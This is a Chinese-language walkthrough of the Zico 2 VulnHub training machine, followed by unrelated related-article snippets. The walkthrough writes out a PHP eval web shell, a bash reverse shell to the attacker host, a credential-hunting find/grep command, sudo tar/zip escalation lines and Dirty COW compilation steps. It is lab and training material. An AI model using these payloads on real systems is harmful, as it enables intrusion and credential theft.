Zico 2 靶机 - 详细流程

news2024/10/18 11:32:55
  • ✨ 准备工作


  1. 靶机 && kali 环境要求

    机器名网络配置
    靶机Zico 2NAT 模式
    攻击机kaliNAT 模式
  2. 靶机下载链接:zico2: 1 ~ VulnHub   

  3. 打开 VMware,将 zico2.ova 拖拽到 VMware

  4. 设置 虚拟机名称(A) - 存储路径(P)- 导入  

  5. 若是,提示出错,点击重试即可

  6. 启动虚拟机,等待安装完成

  7. 启动成功

  8. 右击靶机 - 设置  

  9. 修改网卡(与自己的主机在同一网段下即可,有插网线推荐桥接,WIFI推荐NAT),这里我选择NAT,点击确定

  10. 关闭虚拟机,重复上述操作(8)

  11. 点击  高级,查看MAC地址 - 确定  

  12. 为了防止干扰,这里我将 网络适配器2 的网卡移除

  13. 打开虚拟机

  • ☄️ 信息收集


  1. 确定NAT网段

  2. 可以看到NAT是192.168.49.0/24网段的

  3. kali 执行

    sudo nmap -sn -PR 192.168.49.0/24

  4. 发现靶机IP为:192.168.49.129

  5. 端口扫描:nmap -sV -p- 192.168.49.129      

  6. 发现开启了 22,80 和 111 以及 54476 端口,尝试访问 80 端口,发现如下页面

  • 🌠 获取shell


  1. 在页面下方,发现一个功能点并点击,发现其 URL 具有文件包含漏洞的特征(文件?参数=页面

  2. 第一时间尝试文件包含读取,将 tools.html  替换为  ../../../../../../../../../../etc/passwd  ,确认存在文件包含漏洞。

  3. 继续寻找功能点,发现可见功能点少的可伶,进行目录扫描,找到一个后台登录界面

    dirsearch -u "http://192.168.49.129/"
    
    # 登录界面:
    http://192.168.49.129/dbadmin/test_db.php

  4. 发现是 PHPLiteAdmin ,使用默认密码 admin进行登录, 登陆成功!

    # 密码
    admin

  5. 版本是1.9.3 ,并且首页包含了其绝对路径,这对我们的漏洞复现会有帮助(复现可以参考一下这篇文章:phpliteadmin <= 1.9.3 远程php代码执行漏洞测试_网络安全|最新Exploit分析的技术博客_51CTO博客 )

  6. 第一步:创建数据库 test.php   (名字任意,带 .php 就行)

    # 链接
    http://192.168.49.129/dbadmin/test_db.php
    
    # Create New Databas
    test.php

  7. 第二步:点击我们新创建的数据库,创建数据表 test_table (这里名字和数量任意)

    # 链接
    http://192.168.49.129/dbadmin/test_db.php?switchdb=%2Fusr%2Fdatabases%2Ftest_users
    
    # Name
    test_table
    
    # Number of Fields
    1

  8. 第三步:写入内容(Field任意,Type为 TEXT,Default Value 处填写我们的恶意语句 <注意:恶意语句不能带任何引号>

    # 链接
    http://192.168.49.129/dbadmin/test_db.php?action=table_create
    
    # Field
    test_content
    
    # Type
    TEXT
    
    # Default Value
    <?php @eval($_POST[cmd])?>

  9. 第四步:写入成功,根据上面提示的绝对路径和任意文件读取漏洞,使用蚁剑进行连接

  10. 确认权限,是一个Web服务用户

  11. 生成反弹shell的语句,在线链接:反弹shell生成器 (ywhack.com)    ,这里我将其反弹到 kali

    # 监听语句
    sudo nc -lvnp 555
    
    # 执行反弹shell的命令
    /bin/bash -c '生成的语句'
    
    # 例:
    /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.49.131/555 0>&1'

  12. 反弹成功

  • 💫 权限提升(3)


  1. 通过命令查看,确认该靶机可登录的用户有 rootzico

    grep '/bin/bash$' /etc/passwd

  2. 查找可能包含密码的文件,发现 /home/zico/wordpress/wp-config.php 比较可疑

    find / -type f -readable -exec grep -lE "user|username|passwd|password" {} + 2>/dev/null | xargs -r grep -Hn "zico" 2>/dev/null
    
    # 说明
    从根目录开始查找所有可读的文件,筛选出包含特定关键词("user"、"username"、"passwd" 或 "password")的文件
    然后在这些文件中查找包含另一个关键词("zico")的行,
    最终输出匹配行的文件名和行号,并且在过程中忽略权限错误。
    
    # PS:zico 为可登录的用户名

  3. 查看该文件,发现 zico 用户的账户和密码

    cat /home/zico/wordpress/wp-config.php
    
    # 账号
    zico
    
    # 密码
    sWfCsfJSPV9H3AmQzw8

  4. 另起终端,使用 ssh 登录

    ssh zico@192.168.49.129
    
    # 密码
    sWfCsfJSPV9H3AmQzw8

  5. Sudo 提权(2 )&& 脏牛提权(1)

    提权方式详细说明

    方式一:Sudo 提权(2)

    • 列出当前用户拥有sudo权限的命令

    • sudo -l

      sudo -l

    • 发现拥有sudo权限的是 tarzip ,使用 Linux的辅助提权网站,辅助我们提权 GTFOBins  ;

      tar 提权

      • 输入tar  - 点击 Sudo

        tar

      • 复制并执行这条命令,提权成功

        sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

      zip 提权

      • 输入zip  - 点击 Sudo

        zip
          
          # 临时文件
          TF=$(mktemp -u)
          /tmp/147.zip
          
          # 提权 (将/etc/hosts文件压缩到 /tmp/111.zip 文件中)
          sudo zip $TF /etc/hosts -T -TT 'sh #'
          sudo zip /tmp/147.zip /etc/hosts -T -TT 'sh #'
          
          sudo rm /tmp/147.zip

      • 修改并执行命令,提权成功

        sudo zip /tmp/147.zip /etc/hosts -T -TT 'sh #'

    方式二:脏牛提权

    • 查看靶机的系统版本

      uname -r

    • 发现是3.2.0-23 版本,介于 2.6.22 < x < 3.9  ,尝试进行脏牛提权

    • 在蚁剑的 数据管理 中选中建立的连接,右键 - 选择文件管理, 查看文件

    • 下载链接:Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) - Linux local Exploit (exploit-db.com)   

    • 若官网不可用,也可以在github任找一个,例:NIMOS/exploit/exploit-db/40839.c at 2c451f84893956f6ef90d689c20062bb073e865d · sominsong/NIMOS (github.com)    ,

    • 将提权文件拖拽到网站目录下(默认路径:/var/www 没有权限,所以我们随便点到 /var/www 目录下的任意文件夹就可以上传了)

    • 切换到当前目录,编译执行,并输入要设置的密码

      # 切换目录(你上传的目录)
      cd /var/www/css
      
      # 查看当前目录
      ls
      
      # 编译 40839.c ,输出可执行文件 40839 
      gcc -pthread 40839.c -o 40839 -lcrypt
      
      # 执行
      ./40839
      
      # 输入要设置的密码(这里我输入123456)
      123456

    • 添加 高权限 firefart 用户 成功

    • PS:这里添加成功后可能会卡住,卡住也没关系,这里我们需要登录之前找到的 zico 用户 来切换用户(当前终端无法切换用户)

      ssh zico@192.168.49.129
      
      # 密码
      sWfCsfJSPV9H3AmQzw8
      
      # 切换用户
      su firefart
      
      # 输入你设置的密码
      123456
      
      # 提权成功

  6. 提权成功,查找flag

    find /root \( -iname "*flag*" -o -exec grep -qi "flag" {} \; \) -print 2>/dev/null
    
    # 说明
    从 /root 目录下查找 文件名或文件内容包含 flag 的文件 (一般flag都在root下,你也可以改为 / ,从根目录开始找)

  7. 附Falg位置: /root/flag.txt   ,

    cat /root/flag.txt

  • 🌌 总结


  1. 流程:主机发现 - 信息收集 - Web渗透 -  获取shell - 权限提升
  2. Web渗透
    1. 当发现 文件?参数=页面 类型,甚至是 文件?参数 ,请第一时间尝试文件包含;

    2. 判明框架网站使用某套框架和特殊的软件时,请第一时间搜索 Nday;

    3. 寻找密码的语句可以在获取 shell 后,尝试运行一下,有时会有意想不到的效果;

      find / -type f -readable -exec grep -lE "user|username|passwd|password" {} + 2>/dev/null | xargs -r grep -Hn "zico" 2>/dev/null
    4. 当某个目录拖不进文件时,可以换它的子目录或父目录,因为只是当前目录没有写的权限罢了;

    5. 寻找 Flag 的语句(每次手动翻太麻烦了,这次直接写个查询语句,以后方便用)

      find /root \( -iname "*flag*" -o -exec grep -qi "flag" {} \; \) -print 2>/dev/null

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2217737.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

FreeRTOS - 单片机程序设计模式

在学习FreeRTOS过程中&#xff0c;结合韦东山-FreeRTOS手册和视频、野火-FreeRTOS内核实现与应用开发、及网上查找的其他资源&#xff0c;整理了该篇文章。如有内容理解不正确之处&#xff0c;欢迎大家指出&#xff0c;共同进步。 单片机程序设计模式&#xff08;第2章&#xf…

10月17日

输入一个数组&#xff0c;循环输出数组的元素&#xff0c;以及各个元素的长度 arr("apple" "banana" "date")# 初始化索引 index0# 获取数组长度 arr_len${#arr[]}# 使用 while 循环遍历数组 while [ $index -lt $arr_len ]; doelement${arr[$in…

“人工智能+中职”:VR虚拟仿真实训室的发展前景

随着人工智能技术的飞速发展&#xff0c;中职教育也迎来了新的发展机遇。特别是虚拟现实&#xff08;VR&#xff09;技术在中职教育领域的应用&#xff0c;结合人工智能的加持&#xff0c;为中职教育提供了全新的教学模式和实训体验。其中&#xff0c;VR虚拟仿真实训室的发展前…

不使用U盘重装windows系统

优点&#xff1a;可以不使用U盘&#xff0c;重装速度快&#xff0c;可以保留系统的激活状态&#xff01; 然后自己设置就可以重装系统了~~~

【重学 MySQL】七十、揭秘数据库对象,打造高效数据管理之旅

【重学 MySQL】七十、揭秘数据库对象&#xff0c;打造高效数据管理之旅 数据库&#xff08;Database&#xff09;数据表&#xff08;Table&#xff09;视图&#xff08;View&#xff09;存储过程&#xff08;Stored Procedure&#xff09;触发器&#xff08;Trigger&#xff09…

初识git · 有关模型

目录 前言&#xff1a; 有关开发模型 前言&#xff1a; 其实文章更新到这里的时候&#xff0c;我们已经学习了可以满足我们日常生活中的基本需求的指令了&#xff0c;但是为什么要更新本篇文章呢&#xff1f;是因为实际生活中我们对于开发工作&#xff0c;运维工作&#xff…

每日OJ题_牛客_非对称之美_最长非回文字符串_C++_Java

目录 牛客_非对称之美_最长非回文字符串 题目解析 C代码 Java代码 牛客_非对称之美_最长非回文字符串 非对称之美 (nowcoder.com) 题目解析 找到规律就是最长非回文字符串&#xff08;判断是否全同->0&#xff0c;否则是n-1&#xff08;回文减去1&#xff09;或n&…

架构设计笔记-17-通信系统架构设计理论及实践

目录 知识要点 案例分析 1.数据中心架构的技术 论文 1.论网络安全体系设计 知识要点 开放系统的存储方式主要有&#xff1a; 1. 直连式存储&#xff08;Direct-Attached Storage&#xff0c;DAS&#xff09;&#xff1a;在服务器上外挂一组大容量硬盘&#xff0c;存储设…

Maven--简略

简介 Apache旗下的一款开源项目&#xff0c;用来进行项目构建&#xff0c;帮助开发者管理项目中的jar及jar包之间的依赖&#xff0c;还拥有项目编译、测试、打包的功能。 管理方式 统一建立一个jar仓库&#xff0c;把jar上传至统一的仓库&#xff0c;使用时&#xff0c;配置…

生产工单系统的功能是什么?有哪些应用实践?

前段时间我们公司忙得不可开交&#xff1a;订单像雪花一样飞来&#xff0c;可生产现场却一片混乱。客户催单的电话不断&#xff0c;大家都急得像热锅上的蚂蚁。我也整天为了协调各个环节而焦头烂额。有一天路过生产车间&#xff0c;看到大家手忙脚乱地找单子、问进度&#xff0…

“vue : 无法加载文件 D:\nodejs\node_global\vue.ps1,因为在此系统上禁止运行脚本”的解决方法

用VS Code来直接创建vue项目时&#xff0c;出现了以下错误&#xff0c;导致创建失败&#xff1a; 于是按照错误提示去查看了下出错原因&#xff1a;是因为PowerShell的执行政策阻止了该操作。用 Get-ExecutionPolicy 查看发现执行策略为受限状态&#xff1a; 解决方法如下&am…

PDF编辑功能是灰色的,什么原因?

PDF文件打开之后&#xff0c;发现编辑功能都是灰色的&#xff0c;无法使用&#xff0c;无法编辑PDF文件&#xff0c;遇到这种情况&#xff0c;因为PDF文件设置了限制编辑导致的。一般情况下&#xff0c;我们只需要输入PDF密码&#xff0c;将限制编辑取消就可以正常编辑文件了&a…

5.计算机网络_抓包工具wireshark

安装 Linux中安装wireshark&#xff1a; sudo apt-get install wireshark Linux中执行wireshark&#xff1a; sudo wireshark 使用 注意&#xff1a;只有与外网交互的数据才可以被wireshark抓到&#xff0c;本机回环的数据不会被抓到 实验内容&#xff1a; 使用nc命令…

技术速递|推出适用于 .NET 的官方 OpenAI 库的稳定版本

作者&#xff1a;.NET 团队 排版&#xff1a;Alan Wang 早在 6 月份&#xff0c;我们就推出了适用于 .NET 的 OpenAI 库的第一个测试版&#xff0c;使开发人员能够将高级 AI 模型集成到他们的应用程序中。今天&#xff0c;我们很高兴地宣布&#xff0c;适用于 .NET 的官方 Open…

请问:ESModule 与 CommonJS 的异同点是什么?

前言 本篇文章不会介绍模块的详细用法&#xff0c;因为核心是重新认识和理解模块的本质内容是什么&#xff0c;直奔主题&#xff0c;下面先给出最后结论&#xff0c;接下来在逐个进行分析。 ECMAScript Module 和 CommonJS 的相同点&#xff1a; 都拥有自己的缓存机制&#…

FreeRTOS - 软件定时器

在学习FreeRTOS过程中&#xff0c;结合韦东山-FreeRTOS手册和视频、野火-FreeRTOS内核实现与应用开发、及网上查找的其他资源&#xff0c;整理了该篇文章。如有内容理解不正确之处&#xff0c;欢迎大家指出&#xff0c;共同进步。 1. 软件定时器 软件定时器也可以完成两类事情…

安卓流式布局实现记录

效果图&#xff1a; 1、导入第三方控件 implementation com.google.android:flexbox:1.1.0 2、布局中使用 <com.google.android.flexbox.FlexboxLayoutandroid:id"id/baggageFl"android:layout_width"match_parent"android:layout_height"wrap_co…

在Linux操作系统上安装NVM教程——CentOS 8/VMware 17版本

目录 一、查看网络配置 二、配置阿里云镜像 三、下载NVM 四、给虚拟机共享本机文件&#xff08;补充&#xff09; 一、查看网络配置是否能上网 1.查看文件&#xff1a;cat /etc/sysconfig/network-scripts/ifcfg-ens160&#xff08;注意&#xff1a;ONBOOT"yes"…

Kibana可视化Dashboard如何基于字段是否包含某关键词进行过滤

kinana是一个功能强大、可对Elasticsearch数据进行可视化的开源工具。 我们在dashboard创建可视化时&#xff0c;有时需要将某个index里数据的某个字段根据是否包含某些特定关键词进行过滤&#xff0c;这个时候就可以用到lens里的filter功能很方便地进行操作。 如上图所示&…

汽车与航空领域的功能安全对比:ISO 26262-6 与 DO-178C 的差异浅析

ISO 26262-6 和 DO-178C &#xff08;航空系统与设备认证中的软件考量&#xff09;。是汽车和航空领域分别广泛应用的软件安全标准。它们的共同目标是确保系统软件可靠性&#xff0c;减少系统软件故障对生命安全的威胁&#xff0c;但在具体的软件安全方案和规范实施上存在明显的…